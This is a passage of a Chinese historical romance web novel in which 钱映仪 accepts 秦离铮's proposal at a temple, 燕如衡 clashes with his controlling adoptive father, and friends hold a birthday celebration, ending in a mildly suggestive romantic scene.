钱映仪把小巧的下颌点了点,也觉着是这么个理,不再细想,一双眼睛四下睃寻,远远瞧见一棵玉兰树,便拿手指往那头点了点,“你瞧,那树上挂了好多红带子呢,咱们也过去看看!” 一径走到玉兰树下,擎着几条红带子一窥,才知是棵姻缘树。钱映仪冷不丁笑了,“来得巧,我也想挂呢。” 一旁便有僧人支着个小摊坐着打盹,竹编的小方桌上垂挂不少红带子。 钱映仪蹑脚行去,未打搅他歇息,自顾抽出两条,又取过桌上毛笔沾墨,兴兴行至秦离铮身前,“你拽着这个,我来写,咱们一人一条,绑在一根树枝上。” 谁知秦离铮兀自收起其中一条,夺过她手中的笔,寻了块还算平整的石头,落膝在石头前,提笔端正往红带子上写,一面道:“一条足矣。” 钱映仪稍有惊骇,“你已经小气到连我的名字都必须同你的写在一起了?” 秦离铮抬抬眼瞧她,又转回去继续写。 “我看看你写什么,”钱映仪立在他身后,裙摆蹭过他的袍角,使她整个人像长在他身 上的花,“花不尽,月无穷,两心同” 她笑一笑,轻声道:“张安陆的词,你还懂这个呢。” 秦离铮依次写下二人名字,待微风吹干洇湿的墨,遂足尖轻点,跃上玉兰树,暗含着几分小心眼儿,把这红带子系在了枝叶最茂密、叶隙最小的树枝上。 旋即打了七八个死结。 钱映仪十分想笑,怕笑出声惊醒那小僧人,一直到秦离铮复又跃下树,一路牵着她踅至寺庙另一处,她才一个没忍住,抖着薄薄的肩笑出来。 秦离铮难能耳廓稍红,摁一摁她的指头,方回答了她先前的话,“我好歹年少时也是正儿八经念过书的,懂这些,不是很正常的一件事?” 钱映仪益发笑得大声,干脆丢开她的手,一径跑到了用斋饭的园子里,自眼梢都飞出几滴泪,半晌才歇下来,“我我不是笑你这个,你打那七八个结的用意是?” “自然是把你同我牢牢捆在一起。”秦离铮紧随其后,知她在笑话自己,也不恼,只跟着理一理她微散的鬓发。 钱映仪被他直白坦荡的话说得心头悸动,渐渐敛了笑话之意,指尖轻勾他的掌心,小声道:“我饿了,先吃饭,下晌再转一转,咱们就回城。” “不笑话我了?”秦离铮垂眼好笑盯着她,“不是你叫我直面心意?” 说得钱映仪蓦地心虚,轻轻推他一下,羞恼道:“哎呀,不笑了不笑了,你到底吃不吃?你不吃我自己去了。” 秦离铮笑笑,一把握紧她的手,正大光明牵着她进了斋房。 今番来静海寺的香客不多,可这其中自然也有门户里的太太,赶巧斋房里有位太太正用着碗素面,她一眼认出钱映仪,便客客气气扬声喊了喊,“钱小姐,钱小姐,这儿哩!还记得俺不?” 钱映仪惊愕起来把手一缩,细细扫量那太太的脸,复又听她口音,想起先前自己过生辰时,二人有过一面之缘,只可惜实在想不起这太太姓什么,便守礼笑了笑。 那太太热情,见二人携手进来,遂三两下吃罢那碗素面,兴兴凑过来打招呼,“哎唷,钱小姐依旧貌美如花,这位是秦指挥使吧?我头先也听人说起过你们呢,不想今日一见,恁二位真是天造地设的一对!” 她愈往下说,斋房里几个寻常百姓就愈是侧头望向这边,钱映仪恨不能把脸埋进碗里,不好赶人,只含糊应声,“嗯嗯,太太您和善。” 那太太又叽哩哇啦说了半日,无非便是金陵水土如何如何好,比先前在河南行省好上太多,一时又夸金陵的小姐个个都水灵,她膝下尚有一子,话里话外透露着想相看一门儿媳的意思。 大约是从哪儿打听到钱映仪同晏秋雁关系融洽,这话题渐渐就转去了晏秋雁身上,“钱小姐可晓得晏小姐平日都喜欢什么?” 钱映仪这才醒过神,原来这太太想借着她的嘴去讨好晏秋雁,她闷头细细忖度,不好背着晏秋雁随口应下什么,一时又甩不开这太太,只好垂下眼逃避她的话。 不防就是这一垂眼,蓦地发觉裙边坐蹲着个安安静静的丝毛小狗,脖子上套着绳,绳的另一端握在这太太手中打转。 她竟毫无察觉,这太太牵了只狗! 钱映仪心头一惊,险些起身掀翻眼前的四方桌。 秦离铮立时察觉出她的神情不对,跟着桌下一窥,也稍有惊骇。方才这太太坐在钱映仪身后,过来时只眨眼的功夫,恰好又穿着大袖长袄,他当真是错漏没注意。 他当即欲起身拉着钱映仪往外走。 谁知这时候小狗动了动,绕着钱映仪的裙边打转,这太太也顺势把它抱在怀里,一面抚着毛茸茸的毛发,一面笑着同钱映仪道:“钱小姐有没有听俺说话啊?” 钱映仪身子往后躲,不答反问,“太太太太原来还带了条狗。” 她姿态闪躲,倘或是心思细腻之人瞧见,一眼便也懂了。偏这太太含笑点头,把小狗往她身前送了送,“它叫豆儿,乖得很哩,才四个月,钱小姐摸一摸?” 秦离铮看不下去,眼里渐渐蕴出一丝冷,起身道:“走,回城再寻吃食。” 怪哉,大约是先前遏制着自己没动,又或许是这小狗十分安静,一声也不曾叫唤,凑近了,钱映仪便清晰窥见它湿漉漉的鼻头和亮如冰珠的眼睛。 她坐在原地没动,抽回被秦离铮握住的手,轻问,“它不咬人吗?” 那太太失笑道:“这么小的奶狗,牙都小小的呢,不咬人,很乖的。” 秦离铮在一旁静观钱映仪的反应,心念一转,便静静坐回了长条凳上。 钱映仪思量半晌,架不住这小狗儿一直盯着自己,心里的好奇竟把那股害怕给压了下去,她抿着唇,胳膊肘渐渐搭在桌面,指尖轻蜷,又问,“真的?” 太太这时候又会察言观色了,瞧出她想摸,也暗自琢磨她兴许是有些怕,便温声鼓励道:“再真不过了!不信钱小姐摸一摸,我摁着它。” 钱映仪被劝得颇为心痒,瞥眼去瞧秦离铮,见秦离铮把下颌轻点,遂伸出一个指头,慢慢地,悄悄地,按在了小狗的脑袋上。 小狗十分乖顺,脑袋往指头上顶了顶。钱映仪讶然睁圆了眼,把唇微张。 她感受指腹下那柔软里带着点坚硬的手感,抬脸看一看眼前的太太,又去看秦离铮,“这感觉,同我摸团姐儿的脑袋是一样的!” 太太“噗嗤”一声笑出来,干脆轻柔握起她的手,一下下往小狗的脑袋上轻抚,“俺没骗人吧?” 钱映仪心里的害怕在这时候彻底窜回去,唇畔渐渐凝出一抹笑,轻唤,“豆儿豆儿” 豆儿的脑袋顶着她的指腹,倏然眯起眼睛,呜呜哼唧起来。钱映仪冷不丁把手一收,“它做什么呢!” 秦离铮失笑,“是让你再摸一摸它的意思。” 太太家里那位官人从河南行省调任来没多久,她亦有心同金陵的小姐们多攀好关系,因此,便把豆儿搁在地上,笑问,“钱小姐,俺的菩萨还没拜完哩,也不好带豆儿进正殿,你若是没那么怕,不妨同它玩一玩?” 钱映仪心中一动,捻着指腹回味方才那道手感,又见这豆儿小小一个十分乖顺,忖度半晌,终于点了点头。 于是用罢斋膳,说是往静海寺再逛一逛,实则钱映仪整个下晌都在“靠近豆儿、躲开豆儿”之间打转。 豆儿不知打哪叼来个布缝的沙袋,一口搁在钱映仪裙边,钱映仪玩心渐起,罕见地没有嫌脏,蹲下身子捡着那沙袋往前一扔,豆儿立时“汪汪”叫了两声,短腿一迈就狂追而去。 暮色四合时,豆儿玩累了,肚皮朝天仰躺在草堆里,钱映仪早已掀翻先前那抹害怕神情,笑吟吟掬着自己的脸,“嘬嘬”几声,豆儿一个猛子复又翻过身,歪歪扭扭向她跑来。 钱映仪轻抚着它的脑袋,一连迭叹道:“原来狗也没这般吓人” 秦离铮笑,“几个月的奶狗自然温顺,但倘或你今日碰上的是大狗,我是定然要拉着你走的,凭那太太如何夸都绝不可能让你接近。” 二人正说着呢,那太太赶巧冒了出来,往钱映仪跟前抱起豆儿,旋即冲钱映仪抛出一记眼风,“钱小姐,将要天黑啦,俺先往城里赶了,下回有缘碰上,俺还叫豆儿逗你高兴呢。” 撇弃这位太太并不那么单纯的目的不谈,钱映仪心中尚且对她抱有感激之意。 是因这一巧合,钱映仪今日才有了崭新的改观,因此捋一捋裙摆的褶皱,站起来端端正正向她福身,“谢谢您。” 太太笑了笑,没再讲话,自顾领着丫鬟婆子离去。 钱映仪目送她身影渐渐消失,兀自行至一旁的水井舀了水,仔仔细细把一双手洗净,转而回身冲秦离铮一笑,倏道:“阿铮,其实这世上也没有什么是一成不变的,是不是?” 秦离铮身后是一面墙壁,他的肩背懒洋洋欹在上头,坐姿也没那般端正,一条腿屈着,脚跟踩在石磴上,胳膊支在膝前,仰脸望着她笑,“谁说的?” 他往玉兰树的方向抬一抬下颌,“姻缘树上挂,有菩萨保佑,难道有变?” 钱映仪眨一眨眼,跟着他笑。微风四起,吹起她如蝶翼轻振的裙摆,把她细细的嗓音送进秦离铮的耳朵里,“嗯先前笑话你,是我不对,张安陆的词我很喜欢,你可知他还有另一句。” 她隔着小半截距离,两条胳膊背去身后,稍稍俯身,仿佛是要他听清自己说的话,“韶华长在,明年依旧,相与笑春风。” 秦离铮一怔,坐姿渐渐端正,天已暮,花依旧,烧红了整片天的晚霞坠 在她的肩头,烧滚着她愈发柔和的身影,沸腾了秦离铮的心。 他也隔着这小半截的距离没动,半晌开口,难掩惊喜,“钱映仪。” “你答应嫁给我了?” 钱映仪站在原地没动,学着他先前的动作,眼睛把那棵玉兰树望一望,绽开个笑,“有菩萨看着,你又打了七八个死结,我只好点头囖。” 秦离铮呆坐半日,愣神看着她。 渐渐地,他唇畔凝固的那抹笑霎时划开,吭笑两声,蓦然起身一把搂她在怀转了两圈。 大约实在难掩这股充沛到快从四肢里长出来的喜悦,他复又捞起钱映仪的腿弯,把她高举起来,一连迭转了好几个圈。 钱映仪有些头晕目眩,忙拍打着他吗,“好晕!你快放我下去!” 秦离铮顺从放钱映仪落地,不等她做出反应,又猛然捧着她的脸,他的眼角眉梢里满是肆意张扬,拇指轻揉了下她的脸,泄出个尤显放肆的笑,“你跑不掉了。” 旋即深深吸气,重重往她的唇上落下一个吻。 一路逼她至墙根下,宽厚身影彻底遮挡住她,钱映仪被迫仰着脸,急喘着气,只觉愈发头晕,听着正殿里传来的敲钟声,一时挣扎起来,“别亲别亲菩萨看着呢” “菩萨若怪罪,我挡着。”秦离铮含混口齿应声,一下一下亲在她的唇畔,复又去亲她的脸,旋即是额心。 俄延半晌,他方埋首抱紧钱映仪,道:“现在,立刻,马上回城。” “早日处理完正事,我早日娶你回家。” 继而松开她,摊开掌心悬在她眼前。 微风吹落满地微枯的树叶,晚霞绮丽,钱映仪看着他意气风发的姿态,倏然想起多年前的遥遥一眼,蓦然感叹“缘”这个字,只是一时间她也不太能完全琢磨透,于是把手重重往他的掌心一送,指骨相贴,旋即随风往前跑,“走啦!秦离铮!” 。 巧得很,燕如衡同范宝珠亦是在城外游玩至天黑才回城,一日下来,范宝珠的好逐渐泡软了燕如衡的心,面对她时,脸上那抹笑意渐渐浸染出真诚。 戌时末,燕如衡送范宝珠回范宅,二人立在宅子角门外,范宝珠依旧往他脸上亲了下,“三郎,明日你是不是要回县衙上值?” 燕如衡垂眼盯着她,看向那双亮晶晶的眼睛,主动牵起她的手,握在掌心里,“你在不舍?” 范宝珠笑颜更甚,蓦然一揽他的腰身,热烈又大方,“当然啦!” 燕如衡低笑,“过几日,咱们的亲事便定下来了,最迟年末,你我便是夫妻。” 范宝珠缩在他怀里眨眨眼,“嗯我很高兴,三郎,你高不高兴?” “高兴。” 范宝珠便仰起脸,笑道:“那你亲我一下,每回都是我亲你呢。” 燕如衡心内像是塌陷了一块,想及那句珍惜眼前人,便轻轻搂着她的腰,旋即往范宝珠的唇上落下一个吻。 下一刻,他噙出一抹笑,抬手抚一抚她头顶柔软的发,嗓音里又透出从前那股温润,“进去吧,夜里冷。” 范宝珠点头,一步三回头进了范宅。 燕如衡稍显轻松,回身坐进马车里,直到回了燕宅,唇畔那抹笑意依旧隐隐能见。 可惜老天爷偏要与他作对,途经大花园时,空气里隐隐泛着点烧纸的焦味,燕如衡脚步一停,遂寻着那股味道走过去,走近了,方发觉是他身边的小厮箬山正往铜盆里烧着什么。 待看清小厮手中的东西,燕如衡登时冷下脸,厉声道:“箬山,你在烧从凤阳寄来的信?” 箬山被吓得一个哆嗦,心虚回身,忙把那些信一个错手丢进明火里。 燕如衡顾不得什么,脸色一变,一把推开箬山,伸手便把那些烧了几个角的信给捡起来,火急火燎扑灭那些火苗,便不可置信盯着箬山,“这么多我爹娘从何时起开始给我写了这么多信?你为何要烧这些信?” “又是几时开始背叛我的?!” 箬山无措站了半晌,才小声道:“少爷我” 支支吾吾半日,一句解释也说不出口。 燕如衡闭了闭眼,木然捡着那几封信件看,渐渐地,他双目蹿出火,一个转身便直往燕榆的屋子里冲。 一径寻了好几间屋子,才在西厢其中一间寻到燕榆。燕榆正歪在榻上点香,王采苓在一旁轻呷一盏茶,燕如衡死死盯着二人,举着那些信质问,“我娘生了病,缺银子治,我爹那点俸禄压根不够,为何瞒着我?” 他猛然把信甩在燕榆身前,压抑许久的怒气在此刻尽数宣泄出来,“即便不许我同他们有太多来往,我爹也是你血脉相连的弟弟,何至于你漠视至此?” “范大人你能治,轮到我娘,怎么就不行?只因范大人能给你带来利,而我爹娘什么都做不到?” 见燕榆不讲话,燕如衡只觉五内淤着一团浇不灭的火,“好,你不给银子,我给!” 旋即一个挥袖,人就跟着往外走。 “站住!”燕榆蓦然厉声喝止,“你要往哪里去?” “凤阳!你不管他们,我管!” 谁知燕榆一声令下,屋子外头陡然冲进来几个侍卫,一把拦住了燕如衡,燕榆不紧不慢追出来,道:“哼,去凤阳?明白告诉你,不许去,你同范宝珠定亲在即,你不能走。” “你乖乖听话。” 燕如衡不可置信回喊,“我娘病了!那是我亲娘!” 燕榆没有再讲话。 王采苓这时候也跟着出来,语气不咸不淡,“我不就是你娘嘛?” 燕如衡霎时像被凉水从头淋了个遍,在这个他觉得自己又渐渐活过来的夜里,眼前的这对夫妻,又再一次毫不留情往他心里狠狠剜了一刀。 他几乎是浑身有些发疼地问,“为何总抓着我一个人不放?” 燕榆站在廊下泠然观着他的崩溃,不一时,漠视了他,道:“范大人过两日便要在工部动手了,你不要坏事,你那个娘,我会救的,只不过不是现在。” 燕如衡静了片刻,仍不死心,问,“你要我替你办事,哪一件我没有去办?你要银子,要物资,哪一回不是我去王弋那里周旋?你折算的那些东西,又有哪一次不是我在暗中帮你办?” “爹,”他闭了闭眼,“我管你叫了二十几年的爹,就当我求你,不要把旁人牵扯进来,送银子去凤阳,救一救二婶,好不好?” 燕榆依旧不为所动,眼梢里仿佛还露着理所应当,“我说过,我会救她,但不是现在,你也少同我掰扯陈年旧账,你既管我叫爹,我就是你老子,做儿子的尽一尽孝,替爹办事,也是天经地义的吧?” “来人,送少爷回房。” “江宁那边,我使人送过话了,只说你好事将近,多告假几日,不碍事的。” 燕如衡一双眼睛在夫妻两个脸上来回转了片刻,终于认清自己根本不可能有什么“活过来”之说,好似今日的一切只是假象,回到这个吃人的魔窟里,他又是一具行尸走肉。 下一瞬,他踉跄着后退几步,笑叹出一行泪,“你没有心,真的,燕榆,你真的没有心,老天爷怎么不收了你?” 燕榆跟着笑,带着 点决然的疯狂,“活得好好的,老天爷怎么会叫我死呢?” 燕如衡轻点下颌,没再说什么,未让那些侍卫近身,独自怔然走出去,见箬山跟上,他回身望了一眼,眼底灰蒙蒙的,“箬山,你自小就跟在我身边,如今连你也你不必再跟着我了。” 箬山静观他的神情,心中接连咯噔几声,不知是不是他的错觉,他仿佛在那双眼睛里看见了对死的渴求。 不待他细想,燕如衡已默然往前走,才刚直起来的肩背复又塌了下去。 整个人踅进黑暗里,一如这座本就有些黑漆漆的宅子,透着阴冷的、悚然的、凄凉的死气。 过完中秋,金陵城总还是要热闹几日的,车马喧阗,风吹管弦,淮河两岸的笑声依旧沸腾得厉害。 趁着这档口,小玳瑁的爹娘把赠与春棠的聘礼给送进了钱家,风吹桂花落,钱映仪笑嘻嘻挽着春棠细看,到底是夸赞了一番,“我瞧着不错。” 小玳瑁总是丝毫不错眼地盯着春棠瞧,想及婚期愈发近,没来由地有些紧张。 把箱笼阖紧,他便像只无措的鸟,满院子乱窜,一时絮絮叨叨念着成婚时的安排,一时又哄着自己莫要太紧张。 夏菱好笑拉住他,笑道:“哎呀,今番才八月二十八,你那婚期,定在十一月,日子紧过慢过,还有两个多月,春棠这新娘子都没急呢,你就急得如此紧张,真到成婚那一日,不得是洋相出尽?” “我可再警告你啊,春棠爹娘都不在,我同小姐便是春棠的娘家人,倘或你敢欺负春棠,有你好果子吃!” 说者无心,听者有意,钱映仪暗自琢磨,倏问夏菱,“这就八月二十八了?” 夏菱茫然应声,“是啊,怎的了?” 钱映仪闷头想了半日,再抬脸时,狡黠的双目里泛着光,朝小玳瑁勾手,“你过来,往锦衣卫那边去寻一寻褚之言,就说就说嫂嫂请他来看望团姐儿!” 小玳瑁发蒙问,“可是少奶奶没这样说啊?” “哎呀!”钱映仪跺一跺脚,想及春棠在,便干脆比划片刻,“明白了么?” 小玳瑁瞬间恍然,“哦,晓得了,我这就去办!这就去!” 待他走后,钱映仪复又同春棠交代起嫁妆,忙忙碌碌半日,一时舍不得春棠,一时又羡慕起春棠,最后只同夏菱两个互相依偎在春棠身边,静把彼此望着,继而互相牵出一抹胜似亲人的笑。 日子转瞬而过,明月渐起渐落,因要加紧收网的速度,派出去盯着燕蔺一党的锦衣卫愈发地多。 九月初一这日,时至傍晚,秦离铮正因公事遍寻褚之言不见,找了半日不见他的身影,不由地拧眉,喊住个手下,问,“副指挥人呢?” 那手下细细想了片刻,挠着后脑勺道:“前两日钱家的侍卫不是来过?副指挥想必是往钱家看孩子去了。” 褚之言自打得了团姐儿这个干女儿,成日便在手下面前炫耀,渐渐地,手下们便也把“褚之言当了爹”当作件自然而然的事。 秦离铮闻听他去了钱家,只好点点头,自顾旋身离开。 顶着暮色一路往钱宅去,人都已转进琵琶巷,秦离铮倏然顿步,抬臂轻嗅,想着昨夜钱映仪念着“哎呀你身上总有股薄荷味”,想着她嫌这薄荷味太重,脚步一转便又往自己那宅子里去。 暗道还是换身衣裳了再来寻她。 一径踅回自己的宅子,秦离铮照常开门,谁知门刚开个缝,蓦然跳出几道人影,迎头是漫天花瓣泼洒下来—— “秦离铮!岁岁平安!” 秦离铮稍有些惊愕,静待在原地没动,等着重叠花瓣下的那道身影向自己走来,瞬间明白过来,她竟在他不知情的情况下把褚之言都诓骗走,暗自合计起来给他惊喜。 钱映仪背着手,笑吟吟行至他身前,歪脸把他窥一窥,笑道:“高不高兴呀?” 自打长兄离世,与爹娘强行分离,秦离铮便没再把自己的生辰放在心上,这么多年过去,他内心的世界虽岑寂得可怕,可自打遇见钱映仪,他好像便时常能察觉到自己充沛到饱胀的情绪。 是因为她,他心里那片海才掀起了层又一层的海啸。 因此他也牵出个笑,回视每个人,露出点“秦家二郎”的顽劣,“倘或我说不高兴,你们会不会联合起来围殴我?” 几个笑作一团,小玳瑁十分兴奋,怀里还抱着一坛酒,忙不迭地道:“今日是你生辰,别怪我不够地道,这酒可是我花大价钱买的!” 褚之言也笑道:“今夜是要一醉方休的,小秦,你跑不了。” 钱映仪也学着他的话,笑嘻嘻道:“你跑不了!” 说着便去勾他的臂膀,旋即顺手阖紧门,搭在他臂膀上的手柔软且轻,秦离铮好笑看着,也把她一把给回握住,大大方方牵着她往宅子里去。 依她所言,他跑不了—— 作者有话说:钱映仪:委婉地告诉你,我同意嫁给你~ 秦离铮:好,你别动,让我爆亲几口! 燕榆,你也别急,我也在写死你的路上[摸头] 第50章 黄昏里稀稀散散吹开花瓣,带起一片欢声笑语,门外行人途经难免竖起耳朵听两句,却也只听笑声阵阵。 入夜,不远的淮河对酒笙歌,月明星稀,照亮了几人微红的脸庞。 桌上摆着褚之言自乐馆提来的吃食,并一坛上好的桂花醉,为照顾三个姑娘家,还有两小壶适合小酌的茉莉饮子。 几个围坐一张圆桌,也不嫌拥挤,小玳瑁喝过半日,渐起醉意,一双眼亮如繁星,摇头晃脑片刻,倏提议道:“我记着有一回听夏菱说,你们玩了行酒令,今日不正好有酒?何不划拳耍一耍?” 凑巧六人,偏又是三男三女,夏菱最是高兴,兴奋得直跺脚,忙拿出个指头轻点,划分好阵地。 阵营自然而然地便成钱映仪同秦离铮、夏菱同褚之言、春棠同小玳瑁。 夏菱把脑袋歪一歪,想出个比划拳定输赢更有趣的游戏来,她乐滋滋道:“只是划拳多没意思呀,这样,咱们三个姑娘家来划拳,只比划拳点数大小,最小的那个” 她望向三个男人,露出个阴恻恻的笑,“最小的那个是输家,其他两个则为赢家,以面前半杯酒为惩罚,你们三个大男人代替我们喝酒,输的那个倘或反应快,在三息的功夫里喝下了杯中酒,便算揭过,倘或三息过去没有反应,那便由赢的那两个来斟酒,斟多斟少,赢的两个说了算。” 小玳瑁听得晕乎乎的,发蒙问道:“我怎的没听懂?” 褚之言笑,“很简单,譬如你同春棠一组,春棠若是输家,你在三息功夫里喝了酒,我同小秦就不替你斟酒了,反之,你反应慢,那你的杯中酒是多是少,我们说了算。” 这么一说,小玳瑁便恍然,登时摩拳擦掌,提起十二分精神,两个手掌撑在膝前,大马金刀跨坐好,“来!” 钱映仪暗瞥秦离铮也不自觉把手指搭在桌上的动作,笑嘻嘻同两个丫鬟去划拳—— 说起来简单,做起来却有些难。第一轮,夏菱 点数最小,褚之言全神贯注盯着她出拳,方发觉她是输家,慌里慌张握着酒杯,刚要喝,一把被秦离铮给拦住。 秦离铮稍有些薄的双唇噙着一缕笑,“三息过了。” 褚之言怔然片刻,蓦然一笑,“我竟反应慢了点儿?” 小玳瑁吭吭笑了两声,忙起身替他斟酒,“喝喝喝!” 少年倒酒时没轻没重,恨不能将酒坛子都塞给褚之言,秦离铮倒还算手下留情,只象征倒了点。 如此这般,三个姑娘家复又划拳。 这一回,钱映仪的点数最小。她忙去看秦离铮,青年笑吟吟盯着她,动作极快喝下杯中酒,旋即倒扣酒杯,示意自己已然受罚。 小玳瑁撇撇嘴,“嘁”了一声,“就知道逮不住你。” 接下来的划拳,便像是老天爷刻意同这年纪最小的少年作对,轮到春棠输时,头一回,小玳瑁没反应过来,被褚之言抓住“报复”。 旋即春棠把把输,酒便一杯杯进小玳瑁的肚子里,喝得他两腮通红,见也没有外人,干脆一俯身搂紧春棠的腰,央求道:“祖宗,我求你赢一回吧。” 春棠亦有些微醺,支着脑袋瞧他,单手比划着——就当你提前练练酒量,成婚那日不也得喝? 夏菱同钱映仪两个窃窃一笑,就与春棠打起手语来。 一个比划——你羞不羞?想着要嫁给他,你也有点迫不及待了吧? 一个比划——哎呀,春棠,你就这么大咧咧地同他说这个,得亏那两个瞧不明白你在说什么呢。 秦离铮与褚之言的确不懂,秦离铮在钱映仪身边待了这么久,对于春棠比手语这一事,他尚且都只能看明白些简单的,更别提褚之言。 褚之言稍怔,倏然笑道:“你们背着我们说什么呢?” 小玳瑁倒看懂了,一张脸愈发涨红,忙不迭从春棠怀里端正起来,复又举起酒杯,窥一窥头顶的月亮,吭吭咳了两声,欲转移话题,便道: “说来说去,今夜借小秦的生辰,咱们几个才聚集在一起,说起来,我蒋渔其实也只是个平平无奇的百姓,何德何能能认识你们这些大人物。” 顿一顿,他稍稍侧头望向春棠,又道:“何德何能,能把心上人娶回家。” 少年那股朦胧醉意渐起,高举酒杯,唇畔扯出个肆意至极的笑,“敬月亮,敬我们,敬山河,敬这世上的真情!” 余下几人逐渐被感染,依次起身举杯。夜风轻拂,吹动着簌簌的声响,风声里杂糅着最赤忱的声音,“敬月亮,敬我们。” 茉莉饮子入喉微凉,带着一丝清甜。钱映仪正搁下酒杯,不防伸来一只手握起那壶茉莉饮,复又替她倒了一小杯,旋即把酒杯塞进她手中。 她一掀眼,望见秦离铮含笑的神情。 下一刻,她垂在裙畔的另一只手被他握住,“叮当”一声,他撞了撞她的酒杯,嗓音悬在她的耳畔,低得缠绵悱恻,“敬你,世上最好的映仪。” 身侧是好友在欢笑,眼前是心上人,半空是夜中景,令钱映仪在这一个不起眼的瞬间生出一种错觉——这一杯酒,仿佛变成了他与她两个人的合卺酒。 她暗笑一下,暗自把脚尖自裙下伸出来去轻轻踢他,“你干嘛呀。” 秦离铮眼底蕴着过分温柔的笑,眼睑下浮着一层羽睫阴影同一抹淡红,令他往日过分锐利的眼眉都仿佛含着情,他把眉轻挑,“不敢喝?” 好似他已猜中她方才在想什么。 钱映仪哪受得了这种激将法,不服气地回握他的指尖,衔着酒杯把茉莉饮喝尽,眼梢里拉出一丝挑衅,“有何不敢?” 二人眼神里游着暗味,那头夏菱却仍兴起,眼见划拳没什么意思了,想及先前过来时途经不少摊位,便道:“我瞧外头有卖马吊牌的,离得不远,不晓得那贩子走没走,你们玩不玩这个?” 褚之言在姑娘家面前向来体贴,遂起身道:“我去看看。” 没几时的功夫,他果真握着副崭新的马吊牌踅回,稍显意外,“这玩意只在京师玩呢,如今都传到金陵来了,金陵一班太太小姐不都喜欢玩” 夏菱暗暗翻了个白眼,“副指挥,您消息也太不灵通了点,往前数十年,我同小姐还在京师的时候,就一起玩过这个,十年可不算短,便是一只蚊子从京师往金陵飞,这十年里也该飞到了吧?” 褚之言讪笑,忙俯身作揖,“是是是,夏菱大人教训的是。” 话音甫落,他拆开马吊牌,环视一圈宅子,问秦离铮,“你这的薄毯都在哪里?拿出来供姑娘们搭在肩上,外头凉了,姑娘们喝了点酒,容易染上风寒。” 秦离铮把下颌轻点,旋身往西厢去,身影隐进黑漆漆的屋子里。 趁他暂且离去,褚之言收回目光,冲钱映仪笑,“钱小姐,你今日当真有心。” 钱映仪笑瞧他,“别只顾着夸我,其实他这人只是看着面冷,心里是把你们当朋友的,我暗自琢磨着,过生辰时不就该热热闹闹的吗?你们亦是有心,不嫌麻烦同我一起暗自筹划。” 一席话说完,见秦离铮那头还没出来,钱映仪暗自嘀咕,“怎的还没出来?” 旋即扔下一句“我去瞧瞧”,自顾起身往他转进去的那间屋子去。 纱窗映进月辉,钱映仪抬步跨过门槛,探着头往屋子里瞧,粗略搜寻一眼没见到秦离铮,一颗心蓦地狐疑起来,轻声唤,“阿铮?” 地面照见月影,一片岑寂里,忽有衣料簌簌声响在门后,钱映仪身后猛地席卷来一阵淡淡的薄荷香,一只手将她拽进怀里,兜着她的背抵在门后。 待站定,秦离铮遂松开她,展开双臂撑在她的肩畔,眼睛里凝聚着一点亮晶晶的光,丝毫不错眼地盯着她。 钱映仪被唬一跳,想大声骂他两句,偏巧身侧那扇门大开,她方意识到,他们隔着一扇门,躲在这狭窄昏暗的小小天地里。 她抬眼轻瞪他,低声问,“毯子呢?” 秦离铮懒洋洋勾着笑,“你真当他要毯子?” 果不其然,钱映仪缩在他身前静呆片刻,便听外头小玳瑁含混喊着,“再喝点儿!” 夏菱也迷迷糊糊跟着搭腔,“今日真高兴,我我也还要喝。” 旋即是褚之言失笑的声音,“都这样了还怎么喝?走走走,我送你们回去。” “小秦,毯子不必寻了!这几个醉不轻呢!” 秦离铮火热的目光垂在钱映仪的脸上,没说话。 俄延半晌,是一阵杂乱的脚步声,继而门一开一楔,庭院里复又静下来,只剩簌簌风声。 钱映仪回过神来,捶一捶他坚/硬的臂膀,“你又刻意引我!” 秦离铮神情懒洋洋的,眼神清明,哪有半分醉意? 他轻握她的下颌,往上稍抬,温热里带着醇香的气息喷在她的脸上,轻轻啄吻一下她的鼻尖,以当赔罪。 转而笑了笑,由月辉映出他眼里的滚烫,“我的生辰礼呢?” 钱映仪撇撇唇,把脸躲开,“谁告诉你会有生辰礼?” 秦离铮稍显落寞喧出一缕叹息,“没有?” “定是褚之言方才同你说了什么暗语,提前告诉你了,是不是?”钱映仪把下唇轻咬,恨恨盯着他,“哪有主动管人要这个的?” 她话虽如此说,却从腰间荷包里摸出串亮锃锃的小玩意,握住秦离铮的掌心重重搁上去,“人家亲手做的呢,你敢嫌丑,我立马走。” 秦离铮先有些诧异,其实他只是暗猜她备下了生辰礼,想着逗弄一番,他举在眼前细看,谁知竟是枚银戒,套在一根细细的银链上。 上头篆刻着他的名字,同她的名字紧紧依偎在一起,只是字迹稍有些歪扭,戒身做工没那般平整。可不妨碍他珍视这份心意,怔然片刻,才递回与她,俯低下脖子,嗓音沙沙的,“替我戴上。” 钱映仪暗自偷笑,取过银链替他戴在脖子上,戳一戳他的胸口,“你不是要先回京师?押着那些人回去的话,便是走陆路,路上也要一个多月呢,算上你火急火燎回金陵接我,前后也要四 十来天,有了它,你便当我依旧在你身边,嗯?” 秦离铮借以月色瞧她,难免失笑,半开玩笑道:“那不如你同我一起回去?” 钱映仪指尖穿过戒身,把他往下拉,拉到他的呼吸喷在她的颈侧,“你想得美,押解罪犯哪是那么轻松的?又脏又臭,我才不要。” “逗你的,届时来接你,咱们走水路,”秦离铮歪脸亲在她的腮畔,吐息渐乱,“你的生辰礼,我很喜欢。” 两片微凉的唇逐渐变得温热,游过她的下颌,印在她的唇上,一如往前那般,亲得又急又重,带着浓烈的慾。 唇舌勾出湿濡的声响,情浓时,因身高的差距,钱映仪复又被她捞过腿弯抱起来,一面胡乱吐息亲她,一面断断续续道:“我很高兴,所以,映仪,你也高兴高兴。” 两人穿风而过,踩着影子踅进正屋,被抵在冰冷的墙上时,钱映仪缩了缩肩,倏攥紧了他的衣襟,夹杂着情/慾的声音愈发温软,“背好凉” 秦离铮低喘了一口气,眼底暗沉得仿佛一片幽黑的湖。 他舔了舔下唇,倏然抱她转身,脚步稍快,带着她行至案前。 钱映仪蓦地感觉腰间一紧,转而整个人翻了个面,腰身轻折。 面前便是他摊在案上的手札,静延片刻,身后衣袍渐响,旋即一阵炙热包裹住她的背。 秦离铮展着双臂拥着她,低叹一声,“检算起来,我们一起从春日跨来了秋日,初见时,金陵湿冷得要命,夏日才过去没多久,如今又要冷了。” 钱映仪肩骨颤了颤,被他拥得腰身益发弯折,这也使她能借以月色窥清那些手札上都写了什么。 秦离铮拆着她立领对襟的丝带,拆开,鼻尖贴上去轻蹭她,温热的触感落在她稍显单薄的背心,仿佛是晓得她在看手札,屈指往她腰窝轻弹,“还看?” “你在手札上写我睡觉不老实?”钱映仪有些发软,胳膊肘支在案上,恨声咬牙,“我哪有?” 